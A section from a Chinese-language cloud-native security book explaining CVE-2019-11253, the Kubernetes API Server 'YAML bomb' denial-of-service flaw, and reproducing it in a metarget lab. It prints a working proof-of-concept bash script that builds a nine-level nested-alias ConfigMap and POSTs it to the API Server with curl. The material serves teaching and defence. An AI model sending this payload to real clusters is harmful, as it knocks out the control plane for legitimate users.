4.4.1　CVE-2019-11253：YAML炸彈

CVE-2019-11253是一個(gè)存在于API Server對(duì)YAML、JSON數(shù)據(jù)解析流程中的漏洞，CVSS 3.x評(píng)分為7.5分。惡意的YAML、JSON載荷可能使API Server大量消耗CPU、內(nèi)存資源，從而導(dǎo)致拒絕服務(wù)攻擊。所有v1.0~v1.12和低于v1.13.12/v1.14.8/v1.15.5/v1.16.2版本的Kubenretes均受到影響。值得注意的是，在v1.14.0以前的版本中，默認(rèn)RBAC策略允許匿名用戶發(fā)送請(qǐng)求，從而觸發(fā)漏洞。

另外，這個(gè)漏洞的曝光過程也很特別——最早由一位Kubernetes用戶在Stack Overflow提出[1]。問題提出后，另一位Stack Overflow網(wǎng)友向Kubernetes官方團(tuán)隊(duì)報(bào)告了這個(gè)問題[2]。最終，官方對(duì)此進(jìn)行了修復(fù)[3]。

筆者環(huán)境中漏洞被觸發(fā)后API Server所在節(jié)點(diǎn)上的資源使用率如下，漏洞利用效果十分明顯，如圖4-6所示。

圖4-6　CVE-2019-11253漏洞觸發(fā)后的節(jié)點(diǎn)資源使用情況

這個(gè)漏洞的本質(zhì)是YAML解析問題，又名“YAML炸彈”。這個(gè)命名讓我們很容易聯(lián)想到3.4.3節(jié)提到的“Fork炸彈”，它們的效果也是類似的——拒絕服務(wù)。事實(shí)上，解析不當(dāng)導(dǎo)致的拒絕服務(wù)攻擊并不在少數(shù)，如Fork炸彈、YAML炸彈、XML炸彈、ZIP炸彈和正則表達(dá)式拒絕服務(wù)攻擊（ReDoS）等。

其中，YAML炸彈、XML炸彈和ZIP炸彈的原理是相似的，它們被歸為一類攻擊形式——Billion Laughs Attack，直譯過來就是“十億笑攻擊”。這個(gè)命名可能不太好理解，參考維基百科，更直觀的名稱是“指數(shù)型實(shí)體擴(kuò)展攻擊”（Exponential Entity Expansion Attack）[4]。該攻擊方式理論上存在于所有支持“引用”的文件格式中。

根據(jù)官方文檔[5]，YAML支持以“&”添加錨點(diǎn)、“*”添加別名進(jìn)行引用。

以下面的YAML文件為例：

---

a1: &a1 ["test", "test2"]
a2: [*a1,*a1]

---

結(jié)合上面的背景知識(shí)，它實(shí)際上等同于：

---

a1: ["test1", "test2"]
a2: [["test1", "test2"], ["test1", "test2"]]

---

也就是說，a1包含2個(gè)字符串，a2包含4（22）個(gè)字符串。那么，如果我們進(jìn)一步添加一個(gè)a3：

---

a1: &a1 ["test", "test2"]
a2: &a2 [*a1,*a1]
a3: [*a2, *a2]

---

此時(shí)，a3應(yīng)該包含8（23）個(gè)字符串。

如果a1中包含c個(gè)字符串，a2中包含n個(gè)a1的引用，a3中包含n個(gè)a2的引用，以此類推，假設(shè)這個(gè)YAML文件中包含m個(gè)實(shí)體，第m個(gè)實(shí)體將包含nm×c個(gè)字符串，該文件完全擴(kuò)展后，所有實(shí)體包含的字符串總數(shù)應(yīng)為（n>1）：

隨著c、n、m的增大，整個(gè)文件擴(kuò)展后包含的字符串個(gè)數(shù)將飛速增長(zhǎng)。一方面，這意味著解析該文件所需的內(nèi)存消耗會(huì)迅速變大；另一方面，解析過程本身也會(huì)大量占用CPU資源。

原理講清楚了，我們做一個(gè)實(shí)驗(yàn)來復(fù)現(xiàn)漏洞。大家可以使用開源的metarget靶機(jī)項(xiàng)目在Ubuntu服務(wù)器上一鍵部署漏洞環(huán)境，在參照項(xiàng)目主頁(yè)安裝metarget后，直接執(zhí)行以下命令：

---

./metarget cnv install cve-2019-11253

---

即可部署好存在CVE-2019-11253漏洞的Kubernetes集群。

取c=m=n=9，在存在漏洞的Kubernetes集群上執(zhí)行如下一系列操作，請(qǐng)求創(chuàng)建一個(gè)ConfigMap資源[6]：

---

#!/bin/bash
# 查看Kubernetes版本
kubectl version | grep Server
# 開啟通向API Server的代理
kubectl proxy &
# 創(chuàng)建一個(gè)惡意ConfigMap文件（n=9）
cat << EOF > cve-2019-11253.yaml
apiVersion: v1
data:
    a: &a ["web","web","web","web","web","web","web","web","web"]
    b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
    c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
    d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
    e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
    f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
    g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
    h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
    i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
kind: ConfigMap
metadata:
    name: yaml-bomb
    namespace: default
EOF
# 向API Server發(fā)出ConfigMap創(chuàng)建請(qǐng)求
curl -X POST http://127.0.0.1:8001/api/v1/namespaces/default/configmaps -H
    "Content-Type: application/yaml" --data-binary @cve-2019-11253.yaml

---

在執(zhí)行的過程中，我們始終打開htop工具監(jiān)控系統(tǒng)資源使用情況，很快就可以看到資源大量消耗的效果，如圖4-7所示。

圖4-7　執(zhí)行漏洞利用程序后的節(jié)點(diǎn)資源使用情況

[1] https://stackoverflow.com/questions/58129150/security-yaml-bomb-user-can-restart-kube-api-by-sendingconfigmap。

[2] https://blog.paloaltonetworks.com/2019/10/cloud-kubernetes-vulnerabilities/。

[3] https://github.com/kubernetes/kubernetes/issues/83253。

[4] https://en.wikipedia.org/wiki/Billion_laughs_attack。

[5] https://yaml.org/spec/1.2/spec.html#id2760395。

[6] 隨書代碼倉(cāng)庫(kù)路徑：https://github.com/brant-ruan/cloud-native-security-book/blob/main/code/0404-K8s 拒絕服務(wù)攻擊/CVE-2019-11253-poc.sh。